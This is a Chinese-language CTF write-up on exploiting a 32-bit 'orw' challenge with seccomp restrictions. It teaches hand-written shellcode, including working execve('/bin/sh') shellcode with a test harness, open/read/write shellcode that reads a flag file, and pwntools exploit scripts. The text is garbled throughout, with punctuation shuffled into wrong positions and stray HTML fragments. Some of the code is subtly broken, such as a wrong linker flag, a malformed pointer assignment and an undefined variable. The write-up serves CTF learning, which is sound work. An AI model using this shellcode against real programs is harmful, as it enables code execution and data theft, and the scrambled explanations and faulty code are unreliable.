1.安全检测:
- 32位操作系统
- Partial RELRO:got.plt可读可写
- 无NX
堆栈可执行, - 无地址随机化
- 有读写权限
2.IDA调试
很明显提示写入shellcode
_
3.什么是orw_seccomp函数( 沙盒机制)
- 简介
seccomp 是 secure computing 的缩写: 其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制, 在 Linux 系统里。 大量的系统调用, system call( 直接暴露给用户态程序) 但是。 并不是所有的系统调用都被需要, 而且不安全的代码滥用系统调用会对系统造成安全威胁, seccomp安全机制能使一个进程进入到一种。 安全“ 运行模式” 该模式下的进程只能调用**4种**系统调用, system call( ) 即 read(), write(), exit() 和 sigreturn(), 否则进程便会被终止, 。 - prctl 函数
:
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
这里有5个参数
PR_SET_NO_NEW_PRIVS(38)
PR_SET_SECCOMP(22)
我们通俗易懂地理解就是
- seccomo-tools的介绍
:
- seccomp-tools 是可以帮助我们查看哪些 syscall 被禁止的一个工具
- linux系统下载命令
: - sudo apt install gcc ruby-dev
- sudo gem install seccomp-tools
- 效果
: - open
read, write三个函数可通行, 。
- 思路
:
4.如何手撸一个满足题意的shellcode:
这里详细讲一下如何手写shellcode, 以来打下坚实的基础+v+! 嘿嘿~
1.什么是系统调用:
- shellcode是一组可注入的指令
可以在被攻击的程序中运行, 由于shellcode要直接操作寄存器和函数, 所以必须是十六进制数的形式, - 为什么写shellcode
因为我们要让目标程序以不同于设计者的预期进行运行? 而操作程序的方法之一是使程序产生系统调用, system call( ) 通过系统调用, 可以直接访问系统内核, - 在liunx操作系统下有两个方式来执行系统调用
间接方式是利用c函数进行包装, 直接方式是用会汇编指令, , 把适当的参数加载到寄存器之中( 利用int 0x80···进行软中断叼调用, )
下面示例exit
int main(void)
{
exit(0);
}
/*编译时使用static选项<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>防止使用动态链接<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>在程序中保留exit函数的系统调用码*/
gcc -static -o exit exit.c
2.为exit( ) 系统调用写shellcode:
- 基本了解exit系统调用后
开始写shellcode, - 注意的是应将shellcode尽量写的简介紧凑
目的是为了可以将其注入到更小的缓冲区, - 在实际环境中
shellcode将在没有其他指令为它设置参数的情况下执行, 所i我们要自己来进行参数传递,
tips
- 32位
参数放在栈上: 编写shellcode时, 函数传递参数寄存器顺序为, a,b,c,d,…..: - 64位
前六个参数放在寄存器rdi: rsi、 rdx、 rcx、 r8、 r9中、 其余的放在栈上, 。
具体步骤
- 把0存在ebx中
- 把1存在eax中
- 执行int 0x80来进行系统调用
Section .text
global _start
_start:
mov ebx, 0
mov ax, 1
int 0x80
然后用nasm编译
nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o
objdump看opcode
看到shellcode中存在一些**NULL
- 这里看第一条指令
mov eb( 0, 将0放入ebx中) 可以利用xor指令, 在操作数相等的情况下返回0, 也就是说可以在指令中不使用0, 但是结果返回零, 那么我们就可以用xor来代替mov指令,
mov ebx, 0 –> xor ebx, ebx
- 再看第二条指令
mov ax( 1, 为什么这条指令也会有null呢) 我们知道, **eax是32位, 4字节( 操作系统的寄存器) 而我们只复制一个字节到了寄存器, 而剩下的部分, 系统会自动用null来填充, **熟悉eax组成, 分为两个16位区域, 用ax可以访问第一个区域, 而ax又分为al, 低八位( 和ah) 高八位( 两个区域) 那么解决凡是就是只把1复制到al就行, 。
Section .text
global _start
_start:
xor ebx, ebx
mov al, 1
int 0x80
消除\x00
- shellcode测试
:
char shellcode[] = "\x31\xdb"
"\xb0\x01"
"\xcd\x80";
int main(void)
{
int *ret;
ret = (int *)&ret + 2;
(&ret) = (int)shellcode;
}
3.编写execve()的shellcode
—–exit
在linux系统中
execve
- execve
( 调用号是) 11: - 接下来我们需要知道它作为输入的参数
用man手册就可以查看, :
1.- 3个参数必须包含以下内容
: - filename必须执行包含要执行的二进制文件的路径的字符串
这个例子中就是字符串[/bin/sh], 。 - argv[]是程序的参数列表
大多数程序将使用强制性/选项参数进行运行, 而我们只想执行/bin/sh, 没有更多的参数, 所以参数列表只是一个NULL指针, 但是按照管理, 第一个参数是我们要执行的文件名, 所以argv[]就是[‘/bin/sh’, 00000000]+v=, 划重点嘞( ) - envp[]是要以key
value格式传递给程序的任何其他环境选项的列表: 为了我们的目的, 这将是NULL指针\x00000000,
- filename必须执行包含要执行的二进制文件的路径的字符串
- 3个参数必须包含以下内容
- 和exit()一样
我们使用int 0x80的系统调用, 注意要在eax中包含execve的系统调用号。 11“ ” - 开始编写shellcode
5.
这里讲解下为什么要向堆栈中反省推送
- 我们知道在x86堆栈中是从高地址到弟子之的
所以要输入反向的字符串, 同样因为4的倍数的最短指令会更容易些., - /bin/sh是7个字节的
如何将他变为8个字节呢, 很简单? 加个/就ok了+v=, 因为在linux中, /“ 可以作为占位符而存在”
用python来生成hs/nib//的十六进制位
之后将分两半塞入栈中即可
- 编译成功后用objdump来进行查看
:
分享一个提取shellcode的指令
objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
- shellcode的验证
:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
回到本题, 结合题目要求, 进行shellcode的构造;
- open函数的shellcode
:
xor ecx,ecx;
xor edx,edx;
//初始化//
push 0x0; #字符串以\x00结尾
push 0x67616c66; #flag十六进制
mov ebx,esp; #指向flag的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>进行open
mov eax,0x5;
int 0x80;
tips
- read函数的shellcode
:
mov ebx,0x3; //文件描述符
mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>esp指向地址
mov edx, 0x40;
mov eax, 0x3;
int 0x80;
tips
- write函数的shellcode
mov ebx, 0x1;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;
EXP:
#!/usr/bin/python
from pwn import *
from LibcSearcher import *
a=process("orw")
elf=ELF("orw")
context(arch='i386',os='linux',log_level='debug')
shellcode = asm('''
xor ecx,ecx;
xor edx,edx;
push 0x0
push 0x67616c66;
mov ebx,esp;
mov eax,0x5;
int 0x80;
mov ebx,0x3;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x3;
int 0x80;
mov ebx, 0x1;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;
''')
print len(shellcode)
a.recvuntil("Give my your shellcode:")
payload=shellcode
a.sendline(payload)
a.interactive()
当然
from pwn import *
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)
r.interactive()q
周六周天接着上次组会把格式化字符串重新复盘下儿